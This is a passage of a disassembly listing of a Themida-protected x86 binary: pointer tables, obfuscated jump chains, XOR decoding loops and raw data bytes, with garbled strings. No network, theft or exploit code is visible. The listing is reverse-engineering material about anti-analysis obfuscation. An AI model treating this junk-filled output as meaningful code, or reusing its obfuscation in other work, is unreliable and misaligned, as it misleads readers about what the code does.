		dd offset word_5576A6
		dd offset dword_558768
		dd offset dword_55A11C
		dd offset word_554182
		dd offset dword_556F34
		dd offset byte_55BCD7
		dd offset aN1HQ		; "╜1ьh©q"
		dd offset dword_559C30
		dd offset word_551616
		dd offset byte_55AE1F
		dd offset byte_5584DF
		dd offset byte_559D67
		dd offset byte_556661
		dd offset byte_557521
		dd offset word_553AE2
		dd offset byte_550573
		dd offset dword_551DC4
		dd offset byte_55A5CF
		dd offset dword_550790
		dd offset byte_554C75
		dd offset dword_55BC80
		dd offset byte_55939B
		dd offset dword_556970
		dd offset dword_5592C8
		dd offset byte_551675
		dd offset word_557986
		dd offset dword_559864
		dd offset byte_551D65
		dd offset byte_558C03
		dd offset word_552432
		dd offset word_553D7E
		dd offset byte_555AD5
		dd offset dword_557EC8
		dd offset word_554A52
		dd offset aMhkr		; "╛h╙R"
		dd offset word_55BBB2
		dd offset dword_55A208
		dd offset dword_553790
		dd offset dword_558944
		dd offset dword_55BFF0
		dd offset dword_555ED8
		dd offset byte_55B095
		dd offset dword_55929C
		dd offset dword_5586B8
		dd offset byte_553CCB
		dd offset word_55218E
		dd offset off_557CE7
		dd offset word_554116
		dd offset byte_551F8F
		dd offset byte_55338F
		dd offset byte_55551B
		dd offset byte_55A03F
		dd offset byte_55687B
; ---------------------------------------------------------------------------


loc_54FDCC:				; CODE XREF: Themida_:00571A3Ej
					; Themida_:00581E9Fj ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 6AC7E28h
		mov	eax, edi
		add	edi, 6AC7B40h
		cmp	eax, [edi+2Ch]
		jnz	short loc_54FDEA
		jmp	short loc_54FDFD
; ---------------------------------------------------------------------------


loc_54FDEA:				; CODE XREF: Themida_:0054FDE6j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_54FDF9
; ---------------------------------------------------------------------------


loc_54FDF4:				; CODE XREF: Themida_:0054FDFBj
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_54FDF9:				; CODE XREF: Themida_:0054FDF2j
		or	ecx, ecx
		jnz	short loc_54FDF4


loc_54FDFD:				; CODE XREF: Themida_:0054FDE8j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_54FE0A:				; CODE XREF: Themida_:0054FE11j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_54FE0A


loc_54FE13:				; CODE XREF: Themida_:0054FF09j
					; Themida_:00550881j ...
		lodsb
		xor	al, bl
		push	ecx
		push	ebx
		mov	bl, 0B3h
		push	edx
		mov	dl, bl
		mov	ch, dl
		pop	edx
		jmp	loc_552F35
; ---------------------------------------------------------------------------
		db 0F6h, 0DFh, 80h
		dd 8EE904EFh
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54FE2F:				; CODE XREF: Themida_:005577A7j
		add	ebp, 4
		jmp	loc_554835
; ---------------------------------------------------------------------------
		dw 0D0F7h
a@hs		db '@HИю╤',0
		dw 5500h
		dd offset dword_4B5248+7BA1h
		db 0
; ---------------------------------------------------------------------------


loc_54FE49:				; CODE XREF: Themida_:0054FEE8j
		sub	ecx, 42C46E7Dh
		jmp	loc_5590F9
; ---------------------------------------------------------------------------
		dd 0D9F6D188h, 5966CA88h, 0A2F6E9h
		db 0
; ---------------------------------------------------------------------------


loc_54FE61:				; CODE XREF: Themida_:00553F10j
		xor	[esp], ebp
		jmp	loc_555D7C
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 65h
		dd 292F042Fh, 0B0E95BDEh
		db 3Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54FE77:				; CODE XREF: Themida_:00552DEEj
		xor	edi, 3A3C429Ch
		pop	esi
		mov	ebp, 61A43F06h
		xor	ebp, edi
		pop	edi
		push	265A704Ch
		pop	esi
		xor	esi, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		and	eax, esi
		jmp	loc_553E8E
; ---------------------------------------------------------------------------


loc_54FE9C:				; CODE XREF: Themida_:0055B30Dj
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_551409
; ---------------------------------------------------------------------------


loc_54FEAD:				; CODE XREF: Themida_:0055346Ej
		pop	edx
		jmp	loc_551513
; ---------------------------------------------------------------------------


loc_54FEB3:				; CODE XREF: Themida_:00555885j
		not	eax
		shr	eax, 2
		shl	eax, 8
		add	eax, 46F47236h
		jmp	loc_559B06
; ---------------------------------------------------------------------------
		db 29h,	0C2h, 58h
		dd 315AD789h, 9541E9F8h, 0B9510000h, 18915D16h,	89CD8955h
		dd 5BE9EAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54FEE2:				; CODE XREF: Themida_:00556B2Ej
		add	esp, 4
		jmp	loc_54FE49
; ---------------------------------------------------------------------------


loc_54FEED:				; CODE XREF: Themida_:00551F47j
		push	edx
		push	1D57h
		mov	[esp], ebx
		jmp	loc_558FD0
; ---------------------------------------------------------------------------


loc_54FEFB:				; CODE XREF: Themida_:005546F9j
		sub	edi, edx
		pop	edx
		xchg	edi, [esp]
		pop	esp
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_54FE13
; ---------------------------------------------------------------------------


loc_54FF0E:				; CODE XREF: Themida_:005542F1j
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	ebp
		jmp	loc_55A67E
; ---------------------------------------------------------------------------
		dd 0C381E389h, 4, 0E904C383h, 1E84h, 4C681h, 0C6810000h
		dd 4, 9D30E9h, 4A595D00h, 2955E9h, 0C4835E00h, 74FF5704h
		dd 8F5F0424h, 0FF5C2404h, 10E92434h, 40000BAh, 2EC81C8h
		dd 0E9000000h, 0A353h, 9EE9EB21h, 5D00002Dh, 0FFFE9EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54FF75:				; CODE XREF: Themida_:00550893j
		push	eax
		xchg	ebx, [esp]
		dec	ebx
		xor	[esp], ebx
		xor	ebx, [esp]
		xor	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	ebx
		mov	ebx, esp
		jmp	loc_553050
; ---------------------------------------------------------------------------
		db 0FFh
		dd 83582434h, 0EA8004C4h, 41EA8049h, 6803E2C0h,	7468h
		dd 8AC0E9h, 4CF6BE00h, 78E92750h, 5900007Ah, 9A0EE953h
		dd 4050000h, 83000000h,	48704E8h, 24248B24h, 0BD242C89h
		dd 6D0F5D8Bh, 8904EC83h, 0BD552414h, 479B7011h,	3146E950h
		dd 0C6890000h, 8124048Bh, 4C4h,	894E900h, 0FB010000h, 1F14C381h
		dd 0EB810314h, 15C222D6h, 498DE9h, 2474FF00h, 24348B04h
		dd 8F04C483h, 248B2404h, 0EB7E924h, 815A0000h, 219DEAh
		dd 0F0C181E2h, 14CE155h, 0F0BD55D1h, 294CE155h,	575A5DE9h
		dd 4BFh, 5FF90100h, 2474FF51h, 83E95904h, 0B9000011h, 4
		dd 8759CF29h, 248B243Ch, 6DF26824h, 24890000h, 24048324h
		dd 7B97E904h, 0EA810000h, 0ED49BD76h, 0E95AD789h, 368h
		dd 5C240487h, 0B60FC330h, 8734FFC0h, 5724048Bh,	4136E9h
		dd 44EA8100h, 319234AFh, 0C5815AD5h, 618533B3h,	0DDF7D5F7h
		dd 0AB1E9h, 0E9D82800h,	1948h, 4245C01h, 0EF815F5Bh, 48304961h
		dd 83240C8Bh, 0BA5204C4h, 66E3853h, 37E4E9h
		db 0
; ---------------------------------------------------------------------------


loc_5500C5:				; CODE XREF: Themida_:0055139Dj
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_556CBD
; ---------------------------------------------------------------------------


loc_5500D3:				; CODE XREF: Themida_:005566DFj
		pop	ebp
		jmp	loc_55B266
; ---------------------------------------------------------------------------


loc_5500D9:				; CODE XREF: Themida_:00550F64j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		push	47ADh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	eax
		mov	eax, 4C837ECh
		add	eax, 2E3E2CCAh
		push	esi
		mov	esi, 13EA1039h
		jmp	loc_558BCB
; ---------------------------------------------------------------------------
aI4Sam		db '┴4$И─M',0
		align 4
aIcsbl		db '┴ГИ│L',0
		db 0
; ---------------------------------------------------------------------------


loc_55011F:				; CODE XREF: Themida_:005598BAj
		push	2
		pop	esi
		add	ecx, 4C9101A8h
		sub	ecx, esi
		sub	ecx, 4C9101A8h
		jmp	loc_55854F
; ---------------------------------------------------------------------------


loc_550138:				; CODE XREF: Themida_:00552264j
		neg	dword ptr [edi+24h]
		jmp	loc_556525
; ---------------------------------------------------------------------------
		dd 24F18166h, 0F1816634h, 0DE94773h, 88000086h,	52D3F6E3h
		dd 0AE00E9h, 79A5BB00h,	0DE890D4Eh, 0A0FDE95Bh,	53510000h
		dd 0CFFE9AB7h, 0A78DE9h, 7CC3BA00h, 814247D2h, 1CCA8EF2h
		dd 0E9D02977h, 3BDEh, 3134EB81h, 815A2A73h, 6C6D51C3h
		dd 81C3291Dh, 6C6D51EBh, 50E9561Dh, 680000B7h, 2A4C146Fh
		dd 0ADF2E9h, 0D8305A00h, 792DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5501B1:				; CODE XREF: Themida_:00556272j
		pop	ebp
		add	eax, ebp
		sub	eax, 10363087h
		mov	ebp, [esp]
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_559C87
; ---------------------------------------------------------------------------
word_5501D2	dw 48Bh			; DATA XREF: Themida_:0054FC08o
aS8		db '$Ик8',0
		align 2
		dw 0C483h
		dd 2434FF04h, 0E9545358h, 4741h, 82C68h, 240C8900h, 0E950E189h
		dd 415Eh, 0C781E789h, 4, 0FE41E951h, 0EED1FFFFh, 2E0AF681h
		dd 0EEC10164h, 86DBE907h, 2C810000h, 636DEF24h,	0C2815A58h
		dd 58636DEFh, 148BD589h, 57BDE924h
		db 2 dup(0)
aN1HQ		db '╜1ьh©q',0           ; DATA XREF: Themida_:0054FD10o
		align 2
		dw 0C89h
aAEzrXZbAqsS	db '$╧a╤┘zR╨сx╩Z│Й,;²QИ',27h,'S',0
		dw 100h
		dd 2434FFC1h, 4C48358h,	8904EC83h, 2BE2434h, 81000000h
		dd 586A85E9h, 0B1BF5703h, 0E93C8C3Fh, 38B6h, 0BB241C89h
		dd 4, 2097C181h, 0D9011C89h, 2097B850h,	0C1291C89h, 0E924048Bh
		dd 1F1Fh
; ---------------------------------------------------------------------------


loc_550294:				; CODE XREF: Themida_:00558F5Cj
		mov	ecx, 553C7F2Fh
		jmp	loc_555149
; ---------------------------------------------------------------------------
		dw 8966h
		dd 56B3241Ch, 8027C180h, 0D92867C1h, 8067E980h,	8B6627E9h
		dd 47E9241Ch, 5C00006Eh, 241C8966h, 693E9h, 9CC88400h
		dd 0FFFB46E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5502CD:				; CODE XREF: Themida_:00555ED3j
		add	ebx, edx
		jmp	loc_55B883
; ---------------------------------------------------------------------------


loc_5502D4:				; CODE XREF: Themida_:00553846j
		mov	edx, 4
		jmp	loc_5515DE
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 40A1020Ah, 0E981D129h, 40A1020Ah, 0B8505B5Ah, 50C060B0h
		dd 3C30E9h, 4EE8100h, 87000000h, 0E95C2434h, 5AFh, 5EF0015Fh
		dd 796DE9h
		db 0
; ---------------------------------------------------------------------------


loc_550311:				; CODE XREF: Themida_:00556CF6j
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		shr	ecx, 0Ah
		push	ebx
		jmp	loc_5592D4
; ---------------------------------------------------------------------------


loc_550335:				; CODE XREF: Themida_:0055B421j
		push	5DF4h
		mov	[esp], ebp
		mov	ebp, 6D1B635Eh
		jmp	loc_555CE7
; ---------------------------------------------------------------------------


loc_550347:				; CODE XREF: Themida_:00550423j
		push	edi
		push	esp
		jmp	loc_553177
; ---------------------------------------------------------------------------


loc_55034E:				; CODE XREF: Themida_:0055B3FAj
		sub	edi, 5FA03499h
		pop	ecx
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	edx
		push	2369h
		mov	[esp], ebp
		mov	ebp, 1
		sub	esp, 4
		mov	[esp], eax
		mov	eax, ebp
		mov	edx, eax
		pop	eax
		pop	ebp
		and	eax, edx
		mov	edx, [esp]
		jmp	loc_55A6DA
; ---------------------------------------------------------------------------


loc_550388:				; CODE XREF: Themida_:0055BDEFj
		shr	eax, 7
		add	eax, 3C5345CBh
		add	ecx, 5156490Dh
		add	ecx, eax
		sub	ecx, 5156490Dh
		jmp	loc_557ED7
; ---------------------------------------------------------------------------


loc_5503A3:				; CODE XREF: Themida_:005535E4j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5527A3
; ---------------------------------------------------------------------------
		dd 3E1C159h, 0ACF7E956h, 58E90000h
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5503BB:				; CODE XREF: Themida_:0055385Aj
		and	eax, 38013859h
		add	eax, 0D69603E8h
		add	esi, eax
		pop	eax
		or	edx, esi
		jmp	loc_55261E
; ---------------------------------------------------------------------------
		db 53h
		dd 794BD8BBh, 0E9DBF758h, 3CB4h, 7CD2C781h, 0DFF7264Fh
		dd 1502E9h, 8BD68900h, 0C4832414h, 42916804h, 2C890000h
		dd 3F33BD24h, 0EE2971C3h, 83242C8Bh, 0F10104C4h, 2C1835Eh
		dd 0E9240C87h, 0A4E0h
; ---------------------------------------------------------------------------


loc_550414:				; CODE XREF: Themida_:0055B558j
		pop	edx
		sub	ebx, eax
		sub	ebx, 28A17C8Bh
		sub	ebx, 6627534Bh
		jmp	loc_550347
; ---------------------------------------------------------------------------


loc_550428:				; CODE XREF: Themida_:0055398Bj
		add	ebx, ecx
		pop	ecx
		xor	edi, ebx
		pop	ebx
		jmp	loc_55BE47
; ---------------------------------------------------------------------------
		db 89h
		dd 14BD242Ch, 81530042h, 852567EDh, 15B8504Bh, 2D7DCA65h
		dd 768632E9h, 0BABAE9h
		db 0
; ---------------------------------------------------------------------------


loc_550451:				; CODE XREF: Themida_:00555468j
		pop	eax
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_559DDB
; ---------------------------------------------------------------------------


loc_550467:				; CODE XREF: Themida_:00554478j
		add	ebp, 0DACF8256h
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5536FB
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483242Ch, 68D80104h, 701Ch, 68242C89h, 878115Dh, 83242C8Bh
		dd 0F58104C4h, 4E5174E8h, 3389E9h, 0B9515F00h, 29A658EAh
		dd 2B3FE9h
		db 0
; ---------------------------------------------------------------------------


loc_5504AD:				; CODE XREF: Themida_:0055A9F5j
		mov	ecx, esp
		add	ecx, 4
		push	edi
		mov	edi, 4
		sub	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		sub	dword ptr [esp], 244778E4h
		pop	eax
		push	22Bh
		jmp	loc_55B143
; ---------------------------------------------------------------------------
		db 89h
		dd 0E9532414h, 7032h
; ---------------------------------------------------------------------------


loc_5504E0:				; CODE XREF: Themida_:005512EAj
		mov	bh, 4Dh
		shr	bh, 4
		push	edx
		mov	dh, 0B8h
		sub	bh, dh
		pop	edx
		xor	bh, 0FAh
		add	bh, 0FFh
		xor	bh, 91h
		push	ecx
		mov	ch, bh
		mov	dh, ch
		pop	ecx
		pop	ebx
		push	bx
		mov	bh, 1Eh
		sub	dh, bh
		pop	bx
		mov	ch, dh
		pop	edx
		add	bl, ch
		mov	cx, [esp]
		jmp	loc_552BD8
; ---------------------------------------------------------------------------
		db 0D3h, 3Ch, 24h
		dd 0F8F9E99Ch, 0E958FFFFh, 93C2h
; ---------------------------------------------------------------------------


loc_550520:				; CODE XREF: Themida_:00553172j
		mov	ebx, 54EC615Ah
		mov	ebp, 0AA7FBE2h
		jmp	loc_552796
; ---------------------------------------------------------------------------
		db 81h
		dd 4EBh, 241C8700h, 240C895Ch, 8714E9h,	241C8700h, 2434895Ch
		dd 0C681E689h, 4, 8704C683h, 0E95C2434h, 1479h
; ---------------------------------------------------------------------------


loc_55055C:				; CODE XREF: Themida_:00556D24j
		push	5126h
		jmp	loc_55B20A
; ---------------------------------------------------------------------------
		dw 2D68h
		dd 89000067h, 0E9241Ch
		db 6Ah,	2 dup(0)
byte_550573	db 0F6h			; DATA XREF: Themida_:0054FD34o
		dd 0E99C241Ch, 0FFFFF897h, 8904EC83h, 0D2B82404h, 406E4545h
		dd 0D7266725h, 1BE5626h, 316CC469h, 0C1895EF0h,	6B98E9h
		dd 59CA0100h, 312CE9h, 24148900h, 465E9h, 5EDC100h, 3EDC145h
		dd 0E581DDF7h, 7BD267C2h, 5382E9h
		db 0
; ---------------------------------------------------------------------------


loc_5505C1:				; CODE XREF: Themida_:00557347j
		add	esp, 4
		mov	ebp, [esp]
		add	esp, 4
		mov	dword ptr [edi+20h], 681669F0h
		or	dword ptr [edi+20h], 1C781005h
		push	ecx
		mov	ecx, 6BCD4F7Bh
		or	[edi+20h], ecx
		pop	ecx
		sub	dword ptr [edi+20h], 0FFFFFFFFh
		sub	esp, 4
		mov	[esp], eax
		push	5B7E68E1h
		pop	eax
		push	7Ah
		mov	[esp], esi
		mov	esi, 3C684E8Dh
		xor	esi, 58910E97h
		jmp	loc_55839F
; ---------------------------------------------------------------------------


loc_550610:				; CODE XREF: Themida_:005559A8j
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	350Ch
		jmp	loc_554E5A
; ---------------------------------------------------------------------------


loc_55061F:				; CODE XREF: Themida_:0055ABADj
		mov	edx, 7C2161A6h
		add	edx, 48860BA7h
		add	edx, 18006FFCh
		sub	edx, eax
		sub	edx, 18006FFCh
		sub	edx, 48860BA7h
		jmp	loc_5595E6
; ---------------------------------------------------------------------------
		db 1
		dd 99B850D9h, 5515AF70h, 2D00EFBDh, 0B9BB5343h,	0E91E545Eh
		dd 4C59h, 4240481h, 0FF000000h,	515D2434h, 0C181E189h
		dd 4, 1425E9h, 0C2815A00h, 4, 8904EC83h, 4B9240Ch, 56000000h
		dd 6E0756BEh, 8CC2816Ch, 12B5200h, 8CEA81F2h, 5E2B5200h
		dd 8151E9h, 24048100h, 4, 81243C8Bh, 4C4h, 4C78100h, 0E9000000h
		dd 5ECBh, 0FC3B951h, 69E9563Bh
		db 9Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5506C7:				; CODE XREF: Themida_:00556141j
		add	ebx, 0A83C3h
		jmp	loc_55B3A7
; ---------------------------------------------------------------------------


loc_5506D2:				; CODE XREF: Themida_:0055791Ej
		push	42E7h
		mov	[esp], eax
		push	edx
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_55836C
; ---------------------------------------------------------------------------
		dd 55FF801h, 68E65168h,	0B07EE953h, 14BD0000h, 0E903141Fh
		dd 9DFCh, 26E9C329h, 0BF00001Ah, 0E9727D0h, 0EE8E9h, 0D1C58100h
		dd 14EB529h, 0D1ED81C5h, 584EB529h, 816CE9h
		db 0
; ---------------------------------------------------------------------------


loc_550729:				; CODE XREF: Themida_:00552425j
		pop	ebp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_556C56
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 4050000h, 87000000h,	7E92404h, 83000054h, 0EBC1FFEBh
		dd 963DE905h
		db 2 dup(0)
word_550756	dw 77FFh		; DATA XREF: Themida_:0054FCDCo
		dd 59669D1Ch, 9C241CD3h, 0CCFE9h, 4EC8100h, 89000000h
		dd 85B62414h, 0E924CE80h, 28B9h, 476EE95Ch, 74FF0000h
		dd 8F5B0424h, 315C2404h, 0E99C2404h, 0FFFFF683h
dword_550790	dd 24048B66h, 5E08950h,	4, 427D68h, 242C8900h, 2BDh, 287E2D00h
					; DATA XREF: Themida_:0054FD40o
		dd 7AE917E5h, 46000025h, 0FB56EE81h, 48E9002Ah,	0B5000080h
		dd 0C9ED8037h, 0ED80DDF6h, 9726E97Ch, 148B0000h, 4C48124h
		dd 5000000h, 4,	2474FF50h, 48F5804h, 28E95C24h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5507EB:				; CODE XREF: Themida_:00556AACj
		xor	eax, [esp]
		pop	esp
		mov	dx, [esp]
		push	edi
		push	42EFh
		mov	[esp], esp
		jmp	loc_5584A1
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 2
		dd 53000000h, 42474FFh,	5B2434FFh, 8F04C483h, 0D25C2404h
		dd 0E99C2424h, 0FFFFF5F3h, 81E78957h, 4C7h, 4C78300h, 0E9243C87h
		dd 49F0h, 66C33166h, 3166D831h,	0BF6657C3h, 20E93854h
		db 56h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_550847:				; CODE XREF: Themida_:00559A34j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_556F9B
; ---------------------------------------------------------------------------
aNsso		db '╜ИХo',0             ; DATA XREF: Themida_:0054FCBCo
		align 10h


loc_550860:				; CODE XREF: Themida_:00553C9Bj
		sub	edx, 0EED38FEh
		pop	esi
		push	eax
		push	2A6B2CE2h
		pop	eax
		push	ecx
		mov	ecx, 0D220821h
		jmp	loc_55B4E8
; ---------------------------------------------------------------------------


loc_550879:				; CODE XREF: Themida_:00551E22j
		add	ebx, 653D6F9Bh
		xor	edx, eax
		jmp	loc_54FE13
; ---------------------------------------------------------------------------
		dw 0F089h
		dd 7BBFE9h
		db 0
; ---------------------------------------------------------------------------


loc_55088D:				; CODE XREF: Themida_:00557280j
		add	eax, ecx
		pop	ecx
		pop	edx
		shl	eax, cl
		jmp	loc_54FF75
; ---------------------------------------------------------------------------
		dd 4C481h, 0C3830000h, 9A8DE904h, 348B0000h, 4C48324h
		dd 4C481h, 0CAE90000h, 89000042h, 4CE9243Ch, 31FFFFFEh
		dd 34332434h, 24248B24h, 4E3AE9h
		db 0
byte_5508CD	db 66h,	8Bh, 4		; DATA XREF: Themida_:0054FB3Co
aRtzs?		db '$RTZИ?\',0
		dd 14335F00h, 24143124h, 5C241433h, 367B6866h, 241C8966h
		dd 2B048CB3h, 0F8046A2Ch, 944FE9h, 2414F700h, 6657E9h
		dd 55EA3100h, 5D2414F7h, 0EAC1EA87h, 1536804h, 3C890000h
		dd 7CBE5624h, 892E6373h, 0C2815EF7h, 5A4405Fh, 15D6E9h
		dd 87585C00h, 0D35C2414h, 0E99C240Ch, 0FFFFF4DBh, 42474FFh
		dd 24048F59h, 956CE9h, 24248B00h, 240C8966h, 0C8B60F66h
		dd 0E99C5166h, 0FFFFF4BBh, 0E95125B3h, 0FFFFFE5Fh
; ---------------------------------------------------------------------------


loc_550960:				; CODE XREF: Themida_:00558098j
		mov	edx, esi
		pop	esi
		add	edx, 0BA5F74E3h
		sub	ebx, 21BC7ED4h
		add	ebx, 1C4B2940h
		sub	ebx, 5C9D549Fh
		add	ebx, edx
		jmp	loc_5592BD
; ---------------------------------------------------------------------------
word_550982	dw 4ACh			; DATA XREF: Themida_:0054FC54o
aFqrs@s4	db 'еfQRSЁ@Иг4',0
		align 10h
		dd 53241489h, 0A64A1968h, 7BE95B05h, 0FF000022h, 148B2434h
		dd 4C48324h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	ebx, 4
		jmp	loc_55884C
; ---------------------------------------------------------------------------


loc_5509C3:				; CODE XREF: Themida_:00553957j
		push	eax
		mov	eax, 19633E84h
		sub	eax, 25674B1Bh
		jmp	loc_556B1D
; ---------------------------------------------------------------------------
		db 1
		dd 0D5F75AD5h, 170768h,	24048900h, 2048E9h, 5EAC100h, 0FFF679E9h
		dd 0E95A59FFh, 7EB6h, 83240C8Bh, 3C8704C4h, 24248B24h
		dd 4B30F66h, 8E99C24h, 31FFFFF4h, 0A91AE9EAh, 0FA880000h
		dd 0FF871488h, 0E95A2434h, 3B28h, 0D171D7BDh, 39ED8102h
		dd 5267F96Bh, 444427BAh, 81D2F727h, 0B4E509F2h,	0FF95E99Ch
		dd 8159FFFFh, 0C1D095C2h, 4DB95140h, 817F9370h,	78488BF1h
		dd 59CF0149h, 0BE56D701h, 36EB38C6h, 5A5EF729h,	4C781h
		dd 3C870000h, 24248B24h, 5A2434FFh, 4FD268h, 24148900h
		dd 2434FF54h, 8324148Bh, 0F6804C4h, 89000048h, 0E6892434h
		dd 4C681h, 0C6810000h, 4, 5C243487h, 4C281h, 0C2830000h
		dd 146EE904h, 442D0000h, 891EF3ABh, 0E58158C5h,	6E1D25F4h
		dd 9F15E9h, 98E95100h
		db 74h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_550AC3:				; CODE XREF: Themida_:00558855j
		mov	[esp], edx
		push	eax
		push	ebp
		mov	ebp, 3C4D64B8h
		jmp	loc_559375
; ---------------------------------------------------------------------------


loc_550AD2:				; CODE XREF: Themida_:0055370Dj
		sub	ebp, edx
		pop	edx
		jmp	loc_55AB22
; ---------------------------------------------------------------------------
		dw 0E388h
		dd 0E9D3F658h, 3FEEh
; ---------------------------------------------------------------------------


loc_550AE4:				; CODE XREF: Themida_:005540F0j
		sub	ebp, 7EF60DDCh
		xor	eax, ebp
		pop	ebp
		mov	edx, eax
		mov	eax, [esp]
		add	esp, 4
		mov	eax, edx
		push	dword ptr [esp]
		pop	edx
		push	edi
		jmp	loc_554A2C
; ---------------------------------------------------------------------------


loc_550B04:				; CODE XREF: Themida_:00558ABFj
		add	esp, 4
		push	edx
		mov	edx, 6AA86722h
		sub	ebx, edx
		pop	edx
		sub	ebx, 24721288h
		sub	ebx, eax
		add	ebx, 24721288h
		jmp	loc_55A2F9
; ---------------------------------------------------------------------------
		dw 0F335h
		dd 817FEF7Fh, 13754CC7h, 81C70143h, 13754CEFh, 0BA525843h
		dd 4, 168DE9h
		db 0
; ---------------------------------------------------------------------------


loc_550B45:				; CODE XREF: Themida_:005576F5j
		mov	esi, 2
		add	ebp, esi
		pop	esi
		jmp	loc_5568F6
; ---------------------------------------------------------------------------
		dw 8145h
		dd 0CCB388C5h, 0CE2E93Dh, 3C890000h, 0D6AE924h,	68560000h
		dd 308D61ECh, 0DBCE815Eh, 0F7762A32h, 4E6C1D6h,	0A5AAE9h
		db 0
; ---------------------------------------------------------------------------


loc_550B7D:				; CODE XREF: Themida_:00555F0Aj
		sub	ebp, 1C2F123Bh
		jmp	loc_559FF0
; ---------------------------------------------------------------------------


loc_550B88:				; CODE XREF: Themida_:005582E5j
		add	edx, 4
		jmp	loc_557915
; ---------------------------------------------------------------------------
		db 83h
		dd 0FF042404h, 835F2434h, 0B85004C4h, 29337CC2h, 85285125h
		dd 0D1F7915Bh, 10A70591h, 622D7084h, 16782E8h, 24048BC7h
		dd 8104C483h, 2C7h, 70BFE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550BCA:				; CODE XREF: Themida_:00556B86j
		mov	esi, 7E25097Ah
		sub	esi, 75EA1964h
		shr	esi, 5
		push	eax
		jmp	loc_551F23
; ---------------------------------------------------------------------------


loc_550BDE:				; CODE XREF: Themida_:00554BF9j
		not	dword ptr [esp]
		pop	eax
		xchg	eax, [esp]
		jmp	loc_55A82D
; ---------------------------------------------------------------------------
aYaGiSG		db 'Y─ц┐┬ыИ',27h,'ё',0
		dd 96CD8100h, 0E9052037h, 9894h
; ---------------------------------------------------------------------------


loc_550C00:				; CODE XREF: Themida_:00559FF3j
		xor	ecx, edx
		mov	edx, [esp]
		jmp	loc_557936
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 4CF27979h, 843EE9h, 48F5800h, 24248B24h, 0C8BE0F66h
		dd 31BA6866h, 240C8966h, 0FFF1E6E9h, 0E91388FFh, 7C12h
; ---------------------------------------------------------------------------


loc_550C34:				; CODE XREF: Themida_:0055501Aj
		xor	edx, 1F7E498Ch
		and	edx, 56B265D4h
		sub	edx, 0D5FE8B1Ah
		or	esi, edx
		pop	edx
		push	ecx
		mov	ecx, 5FFF7FF5h
		xor	esi, ecx
		pop	ecx
		jmp	loc_55B239
; ---------------------------------------------------------------------------
		db 0F7h
aSyu		db 'щИY·',0
		db 2 dup(0), 0D5h
aFzsb		db 'fZИb-',0
		db 0
byte_550C67	db 66h			; DATA XREF: Themida_:0054FC88o
		dd 6824048Bh, 1E13h, 54243489h,	6DF5E9h, 0BE565A00h, 343A5D78h
		dd 7211EB81h, 0F3293417h, 7211C381h, 31E93417h,	83000087h
		dd 0FF5304C3h, 0E9042474h, 0A0DBh
; ---------------------------------------------------------------------------


loc_550CA0:				; CODE XREF: Themida_:00555EA3j
		sub	bh, ch
		pop	cx
		pop	ecx
		mov	eax, [esp]
		jmp	loc_5547B6
; ---------------------------------------------------------------------------
		db 0BEh, 8Fh, 5
		dd 0EED16936h, 392FF681h, 0C6814E35h, 8551C41Ch, 685EF001h
		dd 731h, 0BF243C89h, 2,	9B477E05h, 51F8010Bh, 4ADD6857h
		dd 0E95F5654h, 4DF9h, 4C4815Ah,	0E9000000h, 57h
; ---------------------------------------------------------------------------


loc_550CF0:				; CODE XREF: Themida_:00554708j
		add	eax, 4
		sub	eax, 4
		jmp	loc_552549
; ---------------------------------------------------------------------------


loc_550CFF:				; CODE XREF: Themida_:00551145j
		mov	[esp], ecx
